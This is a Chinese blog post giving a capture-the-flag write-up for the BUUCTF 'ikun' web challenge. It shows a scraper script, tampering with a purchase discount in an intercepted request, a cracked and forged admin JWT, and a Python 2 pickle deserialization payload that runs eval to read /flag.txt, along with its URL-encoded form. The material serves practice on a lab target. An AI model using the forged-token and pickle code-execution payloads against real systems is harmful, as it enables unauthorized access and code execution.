BUUCTF:(WEB)[CISCN2019 华北赛区 Day1 Web2]ikun

打开链接

 

 

 发现有登录选项,注册并进入

题目提示要买到ipv6,那就必须先找到ipv6的所在页面

脚本跑

import threading
import time

import requests


def go(st, ed):
    for i in range(st, ed):
        url = 'http://9526ee81-7bfb-418c-a200-3834e974a35e.node4.buuoj.cn:81/shop?page='
        url += str(i)
        r = requests.get(url, timeout=2)
        if 'lv6.png' in r.text:
            print(r.url)
        time.sleep(0.1)


if __name__ == '__main__':
    threads = []
    for i in range(0, 10):
        t = threading.Thread(target=go, args=(i * 20, (i + 1) * 20))
        threads.append(t)

    for item in threads:
        item.start()

 

发现是第181页,看到ipv6,但是我们买不起,那就抓包看一下

抓包后,发现可以修改折扣,修改一下,回包

 

 

给了一个网址

去访问

 

 

 

提示只允许admin访问,再去抓包看看有什么

 

 

 

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZCJ9.BObCLjOjhd5VP8Ji2nhYaqzp01yT6KhkzQA2oY8FirA;

Base64编码过,去解码得到

 

 

 

后边解码不出来因为经过了sha256加密,需要破解key

利用破解工具,解密

 

 

 

得到秘钥:1Kun

去破解网址构造新的JWT

网址:https://jwt.io/

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

然后放包,看到我们已经成为大会员

 

 

在源码里我们可以找到一个压缩包,先下载下来

然后找到反序列化admin.py,有漏洞,用脚本构造become

注意需要用python2

import pickle

import urllib

 

class payload(object):

    def __reduce__(self):

       return (eval, ("open('/flag.txt','r').read()",))

 

a = pickle.dumps(payload())    #序列化

a = urllib.quote(a)            #进行url编码

print a

然后构造playload

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

得到flag

 

 

posted @ 2021-09-22 22:00  微草wd  阅读(103)  评论(0编辑  收藏  举报